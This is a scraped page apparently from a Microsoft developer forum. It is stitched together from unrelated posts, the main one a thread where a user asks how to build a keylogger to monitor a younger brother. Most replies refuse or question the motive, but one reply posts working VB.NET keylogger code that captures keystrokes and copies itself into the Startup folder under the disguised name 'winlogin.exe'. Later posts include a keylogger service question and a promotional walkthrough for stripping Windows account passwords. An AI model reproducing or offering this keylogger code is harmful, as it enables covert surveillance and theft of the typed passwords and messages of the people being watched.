Home » Visual Studio

Keylogger using Notepad. Windows XP

Can I make a keylogger, using NOTHING but notepad?

Is it possible?

I am a COMPLETE amateur at VBS

I can barely write a program that can open and close a cd tray >.>...



Let me know please.



14 Answers Found


Answer 1

Why not create simple an application with a textbox, that is almost a notepad,

Because of the fact that keylogers are base of malicious code, is it not clean to show that in a forum.



Answer 2

I'm sorry, relatively new to the programming side of computers.

I was more into the Sys. Admin. side.

My little brother however seems to be...

Creating a .bat file....

I would like to know what it is...

I'm hoping he is putting his knowledge to GOOD use...

But, I am STILL curious none the less.

Sure he's only 13 but, still...

The reason why I am asking for a keylogger, is because he is doing this ONLINE, somewhere, on some site and saving it there.

What's more is that he's using MY computer.

I would rather NOT have him getting ME in trouble since the P.C. is primarily mine.



How do I KNOW, I've walked in on him several times... only to see him closing a window with various code, like I said, COMPLETE amateur... so who knows.

Id LOVE to tell our parents but... well I'm not sure they know what email is.

So, I doubt they would do anything >.>...

The only reason I know it's a .bat or something is because I can go to my history, and see his activity and it is saved on some random like social site and the file is called like .bat.


I know this is not clean, to show on a forum, so if you could perhaps email me the instructions?




And seriously.

What's a textbox?

are we talking like


stuff or like, something else?


Answer 4

What if your brother detect the keylogger program on your computer and terminate before doing any typing on the keyboard? he may be smart enough to know if program is keylogger.

You may try other forums outside MSDN. There are some forum or blog out there that will give you the code you need but any malicious activities is prohibited on MSDN. Also, freeware keylogger are out there which you can download.

If you want to create yours from scratch, then try keylogger forum for tutorial http://forum.keylogger.org/?board=discussion





Answer 5

What if your brother detect the keylogger program on your computer and terminate before doing any typing on the keyboard? he may be smart enough to know if program is keylogger.


http://www.carlosag.net/Tools/CodeTranslator/ .

http://www.developerfusion.com/tools/convert/csharp-to-vb/ .

He's smart.  I'll give him that, but I'm smarter.

He doesn't have the permissions to terminate a process.

And I'm PRETTY sure there's a way to label it as svchost or something.

Maybe I WILL keep the name, keylogger, or whatever it is.

Let him KNOW it is there, so he is deterred from doing anything malicious.

I don't necessarily NEED to know what he's working on, only that it's NOT malicious and if it is, he'll cease it immediately.


Try this link


Coding4fun Be a good forum member mark posts that contain the answers to your questions or those that are helpful
Please format the code in your posts with the button . Makes it easier to read . Or use the Forum Code Formatter by JohnWein http://social.msdn.microsoft.com/Forums/en-US/vbgeneral/thread/bf977a14-d9d4-4e84-9784-bf76b9e23261

I thank you for the link, but I'm pretty familiar with what a .bat file is.

I can create several, whether it be a prank type thing or a disk cleanup, I have one on my desktop right now, that is a shutdown button. Although, this is by using DOS cmd. So *Shrug*.


And seriously, again...

What's a textbox >.>...(Sorry, again, a complete amateur.)

Does it go by any different names?

Thanks for the help though, I appreciate it.

I will try all the forum links and tell you the ones that worked.

Young, and learning...Have mercy.

Answer 6

The reason why I am asking for a keylogger, is because he is doing this ONLINE, somewhere, on some site and saving it there.

How is he able to do that on a site that he does not control or have administrator rights ?


Answer 7

I'm sorry, relatively new to the programming side of computers.

My little brother however seems to be...

Creating a .bat file....

I'm hoping he is putting his knowledge to GOOD use...

But, I am STILL curious none the less.

Sure he's only 13 but, still...


Young, and learning...Have mercy.


well, with a Forum name like Chaos_Edit and an email address like darkwolf, I really wonder WHO is doing what...

and why is it always "my little brother" or "my little sister" is doing this?



And as kaymaf said, this is not the place to ask a question like that. Find another less responsible Forum or blog. Hopefully the moderators will lock this thread.


Answer 8

Here is one key logger i made, basically it writes every letter typed to a textbox. (it also installs itself into the start-up folder no matter what OS you have (XP or Vista or 7 or ETC.)

Public Class Form1
  Dim result As Integer
  Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    For i = 1 To 255
      result = 0
      result = GetAsyncKeyState(i)
      If result = -32767 Then
        TextBox1.Text = TextBox1.Text + Chr(i)
      End If
    Next i
  End Sub

  Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    If System.IO.File.Exists("C:\users\" & System.Environment.UserName & _
                 "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe") = False Then

      FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\users\" & System.Environment.UserName & _
           "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe")
      If System.IO.File.Exists("C:\Documents and Settings\" & System.Environment.UserName & "\Start Menu\Programs\Startup\winlogin.exe") = False Then

        FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" & System.Environment.UserName & "\Start Menu\Programs\Startup\winlogin.exe")
      End If
    End If
  End Sub
End Class




Answer 9

Thank, RollsRoycePhantom95.

For the REST of you >.<

Darkwolf was an account I created five years ago, bite me, I was a moody depressed teenager.

Chaos, is currently my nickname. NO it has NOTHING to do with computers.

And again, WTF is a Textbox. >.<

Oh, and, would I like, put this as like a .bat?



And, where would I go to view what has been typed?


I TOLD you people that i have NO idea >.< when it comes to the programming side.

I can open a CD tray... with a VBS script. THAT'S IT!!


Ok, sorry for being so rude.

Thank you, to all those who helped and gave suggestions.


Answer 10

And again, WTF is a Textbox. >.<

It's a small furry animal indiginous to certain areas of the higher mountains in ...


If you're not even familiar with this, with all due respect, what led you to this forum?


Answer 11

Ok, I think...

I may be getting confused...

A textbox is OBVIOUSLY something you type in >.>...DUH >.<

But, the first user said

Why not create simple an application with a textbox, that is almost a notepad

That made it sound like a type of program...


Anyway, I know this is the coding forum.

I know keyloggers are code.

And, I know that if I were to ask on the Answers forum (That I frequently habit and help out on) they would point me here.


Answer 12

Just keep who ever it is off your computer . I don't think your going to get much help here since your knowledge is too limited to understand what he might be doing and it would take too long to explain the most basic information to you . You supply only vague information so all your going to get is someones best guess . I won't help anyone make a keylogger and do not want anyone else on this forum to do so either . Besides even if you had a keylogger you wouldn't understand what your reading anyway even if in fact what you say is even true in the first place . This forum is for helping people with thier code not covering your butt . If your that concerned password protect your computer and when you let someone use it monitor their every move .

Answer 13


1) The program should be a windows forms application.

2) A textbox is what you view text in

3) Depends how will you want to view the key logged text reply and i will help you with that.

P.S Do you have any version of Microsoft Visual Basic.

I hope you are using this on your comp. not someone else's. I don't want to aid in malicious program development.


Answer 14

The answer to your original question is Yes - it is possible to create program code (such as a VB Script) using only the facilities of notepad.  The program code is simply a plain text file.    The reference to a text box was irrelevant. 

To make that code do something useful requires additional facilities, such as a compiler or interpreter. You would have used an interpreter when you executed that code you wrote to open and close the CD tray.

For instance, VBS and QuickBASIC source code is often created using a simple text editor such as notepad.  It is then executed with an interpreter.

Whether or not the program that is created can do key logging depends on the language used - not on the utility that was used to create the source code.   Not all programming languages support source code created using a text editor such as notepad, so you need to match the ability to use plain text files for creating the source code (because that's what notepad can do) with the ability to create the sort of code that can do keylogging.

For instance, although VB.Net can support plain text files for the source code, it is complex and not worth the trouble.  It can be used to create keylogging code.  VBS can use plain text files for the source code (it doesn't have any other way of creating them) but I don't know if it can do keylogging or not - I suspect not.

If the critical point is that you only want to use notepad or similar, then ask in a VBS forum about whether or not VBS can be used to create a keylogger (but be ready for questions about your motives).

If the critical point is that you need to create a keylogger, then ask about how to do that in VB .Net, because there's no point in using notepad to create VB .Net source code when you have all the facilities of the development environment available to you.  But be ready for enquries about your motives.



This is a home environment, passwords are not used. Turning off firewalls did not help. The main computer has XP prof. on it. For several years, it has been used in a network with another XP. The network name is MSHOME. They have full access to each other. The new computer has Windows 7. (call it W7). I am 80 years old and have very limited computer literacy. I used 'map network drive' on both W7 and XP. As far as I can see sharing is allowed on both. They are wireless connected. W7 can use the internet through the router of XP, it can access the files of XP, use its printer and DVD drive. W7 appears to have established the contacts by itself without me. It did not ask for network name. The network information shows "this computer" (W7) on the left, picture of a little house in the middle with 'Bigpond413E' written under it and "Internet on the right." Underneath in the next row, there is the same house picture with: "Bigpond413E and home network" I wonder if that may be a network name which W7 has created.

On the XP the name of W7 is visible in the Windows Explorer as a new folder but not in My network places. When I click on it, it says: Access denied. On W7, I checked right click on C, Properties, Sharing, Advanced Sharing, Permission. It had Everyone and full control on.

I would appreciate your advice. I would be happy with direct email emerymiko100@hotmail.com as I am concerned that I may not find you reply on the forum. This is my first post.



Dear All,

I am new to smart device coding. I have RLC-XSCALE-MAXI unit having WindowsCE6.0 OS. With 1 GB SD card. I am comfortable with writting code in C#.

In my application insted of database i need to use storage in text file.
I have checked with my device and found that notepad application is not available. Can someone tell me from where i will get notepad installable which can open my notepad  files. I have tried to install two installable but it didn't work.
After accessing, notepad file, i need to open it through C#, i want to know that how to access notpad file in smart device application?
Can i use any database insted of notepad file as a database?

Please help me to solve the issues as i am writing my first application in smart device.

Thank you,

With Regards

Niraj shah


My end goal is not to embed Notepad inside of a WPF window. I am using Notepad to demonstrate this issue because I am having the same problems with Notepad that I do when I attempt to embed a Labview Virtual Instrument into a WPF window.

The primary problem I am having is that there are rendering problems with the embedded Notepad window whenever I move or maximize the window. I am looking for advice on how I can make it so that the embedded window will not have these rendering issues.

My second problem is that I would like the embedded window to take up the full size of the form whenever the form is resized. If this is not possible, I'll just prevent resizing of the WPF window.

You can download my VS2010 C# 4.0 WPF solution from here: http://rapidshare.com/files/426808705/Win32Fun.zip


Hi all,

I compiled the IFilter example from the Windows Search Sample Code Gallery (http://code.msdn.microsoft.com/windowssearch) on my Windows 7 x64 machine. The registration of the filter works fine - the properties created by the filter are searchable locally. When, I created a network share and connected a Library on an other Windows 7 PC to it. Again, the catalog can be searched by content even for the *.filtersample files. So far so good.

Then I installed Windows Search 4.0 on a Windows XP SP3 PC. I added the UNC path of the Windows 7 share to the XP machine. Then, it's possible to search for the name of the *.filtersample files. But it's not possible to use the file content as search-expressions. It seems, that the filled shell properties are not used.

Have anyone an idea why it's not possible to search a shared Windows 7 catalog for files which are index using the sample IFilter? The content of other file formats,  like *.txt, is searchable!

Best regards,




I was looking for it at the forum, but I cannot find something updated.

I would love to put on my application cover those signs:

Certified for Windows 7- so I'm making tests - I passed - it is OK.

Works with Windows Vista- I don't know how to be use it legally - most sites about it are inactive. My application IS working on Vista.

Designed for Microsoft Windows XP- same situation as with Windows Vista - Windows 7 and Windows XP are two most popular OS here and I would like to put this sign also. How can i do it?


How can I legally use last two signes? My application is just working great - can't I just put those signs?


Jakub Król.


I am making a project in C#.net in which I want to type Hindi characters using Unicode.

It is working nice in Windows XP with the Office versions 2007, 2003 and XP. But in Windows 7 and Windows Vista, it occurs problems for some characters. These are-

1- In Windows 7, Hindi Conjuncts such as '???' and '???' are not being built properly.The combinations for these are-


I am making a project in C#.net in which I want to type Hindi characters using Unicode.

It is working nice in Windows XP with the Office versions 2007, 2003 and XP. But in Windows 7 and Windows Vista, it occurs problems for some characters. These are-

1- In Windows 7, Hindi Conjuncts such as '???' and '???' are not being built properly.The combinations for these are-

I made a keylogger service but the service is not capturing the keypresses ......it captures only the first mouse click during starting of service.........pl help .....


What are the available port numbers for an application to listen on in Windows XP SP3 operating system? For the Windows 7 operating system?

We have developed two HTTP servers each using the c# HttpListener.  They're in test now.   Recently I read that the ephemeral range of ports on Windows XP is 1024-5000.  I used a port in that range and want to change it, but want to change it to one that will work in both xp and Windows 7.  Can anyone recommend a range?  Is a port in the 8000's preferred (except for 8080 and 8082 of course)?

Thanks for any help you may give...I appreciate your time.



Hi Guys,

 I am running Windows Search 4.0 on Windows XP.

 I am writing an IFilter for a new file type. My IFilter seems to be working fine for the System.Search.Contents (the searchable text) property, and any pre-defined properties that I have tried (System.Author, System.FlagStatus, etc). By "working fine" I mean that filtdump shows that that the expected properties are being created with the expected values, and that in the Windows Search UI I can search on indexed files with expected results. For example, if I type in the UI search box the query "ext:dcm FlagStatus:11 Elliot" I get a list of the files with the extension .dcm (my extension) whose System.FlagStatus property has value 11 and whose searchable text contains the word Elliot. So far so good.

Now I would like to create some custom properties for my file type, and have my IFilter pass the custom property values back to Windows Search. I created a .propdesc file to define my new properties, and registered it using the "prop.exe" utility. I believe that the new custom properties are registered correctly. The "prop.exe schema describe" command seems to show all the expected information, anyhow.

I modified my IFilter to set the values of each new property. When I test my updated IFilter using filtdump.exe I can see that my new properties are being created for newly-indexed files, that they have the expected values and that the values are being associated with the correct properties. (i.e the IFilter just knows the GUID and the PROPID of the new property, but filtdump also prints the expected property names from the Property System. This is reassuring.) Again - so far so good.

The problem comes when I re-index my files and try to query for one of my new custom properties in the Windows Search UI. That is, if I give the query "ext:dcm MyRows:614" I get no results, even though I know that if my "MyRows" property is being created then it should have the value 614 for some files.

So I am at a point now where I am not sure how to proceed. From what I can tell now either :

i) My IFilter is not working as it should. Even though it creates the custom properties correctly when called from filtdump, something goes wrong when called from Windows Search, OR

ii) My IFilter is working, and the custom properties are being created, but the Windows Search UI does not support querying on custom properties, OR

iii) My IFilter is working, custom properties are being created, Windows Search UI does support querying on custom properties and I am using the wrong query syntax, OR

iv) something else?!


Would anyone have any suggestions, information or insight into this issue? Even a "No - that's never gonna work" or a "Yeah, I've already done that" would be welcome, but of course I am hoping for an "All you have to do is ...".

Anyhow, thanks for reading this far. I'd be happy to supply more information if needed, of course.



I have created a simple TCP Client/Server application and I have noticed a strange behavior under windows xp.
I have connected the client app to the server and start sending HB messages, at some point I suspended the client machine to standby for a couple of minutes (2-3) and then resume it.
I have noticed that under windows XP the connection was reset (WSAECONNRESET - Error 10054)
but under Windows 7 the connection was reestablished on the same port successfully.

The client/server application was written in c# and i am using a standard TcpClient and TcpListener classes. 

Does someone have a clue why the connection was reset on windows xp (or why it succeeded on Windows - 7)?


Ich habe über die FH eine Lizenz für Windows XP Embedded erhalten. Nun stellt sich folgendes Problem.
Wie installiere ich die Database auf einem Win 7 System.
Installiert ist bereits Microsoft Visual Studio 2008 sp1 und Microsoft SQL Server 2008.
Problem ist das ich die Database nicht installieren kann bzw. das der Component Database Manager den SQL Server nicht findet.
Für Vista gibt es eine ziehmlich komplexe Installationsanweisung die ich bei dieser Embedded Version zusammen mit Win7 nicht durchführen kann.
Gibt es sowas wie ein Howto dafür???


I have tried twice to install windows XP Embedded with SP3 on to my windows 7 development machine with no luck.
When the install completes I cant run the target designer or component manager as both complain that the SQL database is missing.

I've tried following the vista install notes I found elsewhere on the web but this too has failed. does anyone know how you are supposed to
get an XPe development enviroment set up on windows 7? I can't be the only one who's tried this.

For some reason I have a program that is called Windows Defender Pro or XP Defender Pro got installed on my computer randomly and it says my computer is infected with viruses, trojan horses, malware, and others. It asks to register for the program and I click no and then it goes to http://pc-livecare.com/buy.html. I don't know how to uninstall it or I don't know how it got on my computer. This also replaces Microsoft's Windows Defender. Can you help me?
i have a windows xp peer to peer network in a small office environment and need a new computer. will a pc with windows 7 be able to join my XP machines on the network? Any other issues?

I am having issues installing Open License Visual Studio 2008 on a Windows 7 64 bit machine, and a Windows XP 64 bit machine.

The software says it is incompatible with 64bit, 

The trial version of Visual studio 2008 works on Both machines.  One has expired the other has 3 days to go.


The error presented is "The version of this file is not compatible with the version of windows you're running. Check your computers system information to see whether you need x86 (32bit) or x64 (64bit) version of the program, and then contact the software publisher.



Hello All,


Outlook Addin Installer (MSI) is working fine in Windows XP with Outlook 2007.


Now the requirement is to run the Outlook Addin Installer on Windows 7 with Outlook 2010, I tried to run on Windows 7 and Outlook 2010, but pop are displaying as pre-requisite as Oiffice2007PIA and VSTO are required.  When I removed the launch condition from the installer with using Orca application, then this plugin addin installer is working file on Windows 7 with Outlook 2010.


So can anybody help me that how can I disable the the launch conditions in Windows 7 and enable the launch condition in Windows XP.


I can do one thing that I can make two installer files as one is for Windows XP and second one is for Windows 7, but this is not a good idea.


Suggestions are always welcome.



Karan Kumar


(sorry my english, it's not so good)

hi, im having a little probleman with my aplication, it's working perfectly in windows xp, but now, i need that it works in windows 7. but im not getting to convert my source. i found some foruns and tutorial, but neither can helps me. Does someone know how to create a service in windows 7, or have a sample?





I work for a Company that services Marine automation systems. I got a call about a machine that had a hard drive failure. I have a .gho image of the working HDD which I loaded on a new HDD, however, when I boot the system Windows boots but I get an error message stating


" A problem is preventing Windows from actively checking the license for this computer. Error Code: 0x80070002"


It is truly very often for us to meet the password problem, sometimes we would forgot windows password or lost windows password, and could not login windows system and make a big trouble. At this time, you would hope to find a way to reset and recover the forgotten password.
Actually, a lot of methods are available to recover or reset the Windows password. But most of them are designed for PC experts, not common PC users, those solutions are too complicated to get it work for us. And in this article, I will show you a professional software tool which could help you to reset forgotten windows password easily.

Total Windows Password Reset is powerful password recovery software to reset Windows admin
passwords for you to login Windows OS without reinstalling the OS when you forgot windows password or lost windows password. It could remove windows password and set the password to blank. Just boot from the program CD/DVD or USB flash drive, choose the account you wish to reset and all will be done. It is not a method to crack or bypass windows password, just remove or delete windows password and set it to blank so you could login windows to set new password.
Below is the guide of how to reset windows password with this software, only 3 steps are needed to reset windows 7/Vista/XP password:

Step 1: Download the setup file of Total Windows Password Reset on the official website:
And install it on another PC. Then you could startup the password recovery software to prepare the bootable disc.

Step 2: Burn the windows password recovery bootable CD/DVD or USB disc with the software.
Now, you may select “Burn DVD/CD Disc” or “Use USB Disc”. If you select first method, you need to have a blank CDR/DVDR disk, a COMBO or DVDRW drive on the PC. If you select to use USB disc, you just need to pay attention: This USB devices would be formatted, so you must make sure to back up all the data before use it. And the maximum capacity of the USB devices cannot exceed 2G.
Tips: We recommend you to use the DVD/CD method to do the windows password reset, because some computers may not support USB start-up.

Below is step by step to show you how to burn the CD/DVD
1.  Launch Total Windows Password Reset main window, Click “Burn DVD/CD Disc” button.
2.  In BurnCC’s main window, click “Browse” button and in the open window, locate the file “TWPR.iso” on your desktop, select it and click on Open to get back to the main window. Then, click “Start” button.

3 Your DVD drive should open and insert a blank CD-R or DVD-R disc into the drive and close it. Click “OK” button. Your CD will be burned in a few minutes.
Tips: if there is already a CD/DVD disc in the drive before run the software, the CD drive will open automatically . Please close it again. The process will be continuing.

Below is step by step to show you how to burn the USB drive
1 Insert a USB drive into a USB slot on your computer and run Total Windows Password Reset, Click “Use USB Disc” button.
2 Click“Step1”button. Then, Right-click on the usb_format.exe and choose “Run as Administrator”.
3 In USB Disk Storage Format window, set the file system to FAT, Check the Quick Format box, check the Create DOS Bootable Disk, Browse to the DOS_files folder on your Desktop, click OK & then Start.

4. Click OK on the following window and then close the USB format tool. Your USB drive now is formatted.

5. Click “Step2” button and open the USB drive with your computer. Then, copy the files from the USB_files folder and paste them directly to the USB drives main directory. 2 of the files may become hidden and you will not see them on the USB drive. This is okay. Your USB drive is now complete.

Step 3: Boot your PC with the burned CD/DVD or USB disc to reset windows password.
You need to insert the Created CD/DVD or USB drive into the optional drive of the locked computer and reboot it.
Tips: It your computer still boots from hard drive Windows OS, it's necessary for you to change your COMS or BIOS settings to make it boot from CD/DVD or USB drive. If you don’t know how to set it, you may visit the official website:  http://www.resetwindowspassword.net or contact the computer manufacture.

The computer boots from CD/DVD or USB drive, then
1 The program will ask for the Windows OS hard drive volume. Enter the ID number of the hard drive volume that Windows is installed.

2 The program has detected all the user names of Windows and asks which user name password is to be removed. Enter the ID number for the User Name.

3 The program asks to confirm weather to remove the password or not. Enter "y" (yes) to confirm your action and "n" (no) to deny the action and hit "Enter".

4 The program asks whether to continue to remove passwords for other accounts. Enter "y" to continue and "n" to finish. Eject your USB from your computer first and press any key to restart the computer from Windows. Now you can log in Windows with an empty password (with no password.), just click “Enter” when you login.

If you have any questions of the procedure and the settings, you could visit the website:http://www.resetwindowspassword.net or send email to support@resetwindowspassword.net.

Now you could see that to reset or recover the admin login password of windows OS: XP, Vista, Windows 7 or 2000 is not so difficult and you can do it with ease.


<< Previous      Next >>

Microsoft   |   Windows   |   Visual Studio   |   Sharepoint   |   Azure